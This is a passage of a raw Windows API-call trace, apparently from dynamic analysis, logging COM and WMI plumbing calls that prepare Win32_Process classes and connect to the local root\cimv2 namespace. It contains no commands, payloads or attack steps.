WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0113.174] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0113.174] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0113.174] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0113.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af760) returned 0x0 [0113.174] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0113.174] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0113.174] WbemDefPath:IWbemPath:SetText (This=0x1b4af760, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.174] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.174] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0113.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0113.175] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0113.175] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.175] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4abab0) returned 0x0 [0113.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abab0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0113.176] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abab0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af8e0) returned 0x0 [0113.176] WbemDefPath:IUnknown:Release (This=0x1b4abab0) returned 0x0 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af8e0) returned 0x0 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0113.176] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4abc70) returned 0x0 [0113.176] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abc70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.176] WbemDefPath:IUnknown:Release (This=0x1b4abc70) returned 0x3 [0113.176] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0113.176] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0113.176] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0113.177] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0113.177] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0113.177] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0113.177] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0113.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af8e0) returned 0x0 [0113.177] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0113.177] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0113.177] WbemDefPath:IWbemPath:SetText (This=0x1b4af8e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af8e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af8e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0113.177] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.177] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0113.177] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0113.177] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0113.177] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.178] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4abb70) returned 0x0 [0113.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abb70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0113.178] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abb70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4afb20) returned 0x0 [0113.178] WbemDefPath:IUnknown:Release (This=0x1b4abb70) returned 0x0 [0113.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4afb20) returned 0x0 [0113.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0113.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.179] WbemDefPath:IUnknown:AddRef (This=0x1b4afb20) returned 0x3 [0113.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0113.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0113.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4abb90) returned 0x0 [0113.179] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abb90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.179] WbemDefPath:IUnknown:Release (This=0x1b4abb90) returned 0x3 [0113.179] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0113.179] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0113.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0113.179] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x2 [0113.179] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x1 [0113.179] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0113.179] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0113.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4afb20) returned 0x0 [0113.179] WbemDefPath:IUnknown:AddRef (This=0x1b4afb20) returned 0x3 [0113.179] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x2 [0113.179] WbemDefPath:IWbemPath:SetText (This=0x1b4afb20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0113.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afb20, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0113.179] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0113.179] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.180] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0113.180] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0113.180] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0113.180] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.180] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4ac070) returned 0x0 [0113.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac070, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0113.180] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4ac070, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4ac0f0) returned 0x0 [0113.180] WbemLocator:IUnknown:Release (This=0x1b4ac070) returned 0x0 [0113.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4ac0f0) returned 0x0 [0113.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0113.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0113.181] WbemLocator:IUnknown:AddRef (This=0x1b4ac0f0) returned 0x3 [0113.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0113.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0113.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0113.181] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0113.181] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0113.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0113.181] WbemLocator:IUnknown:Release (This=0x1b4ac0f0) returned 0x2 [0113.181] WbemLocator:IUnknown:Release (This=0x1b4ac0f0) returned 0x1 [0113.181] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0113.181] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0113.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ac0f0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4ac0f0) returned 0x0 [0113.181] WbemLocator:IUnknown:AddRef (This=0x1b4ac0f0) returned 0x3 [0113.181] WbemLocator:IUnknown:Release (This=0x1b4ac0f0) returned 0x2 [0113.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afb20, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0113.181] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0113.181] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.181] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4abf70) returned 0x0 [0113.181] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4abf70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0350) returned 0x0 [0113.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0350, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4ad3b0) returned 0x0 [0113.595] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ad3b0, pProxy=0x1b4e0350, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0113.595] WbemLocator:IUnknown:Release (This=0x1b4ad3b0) returned 0x1 [0113.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0350, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4ad3f8) returned 0x0 [0113.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0350, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 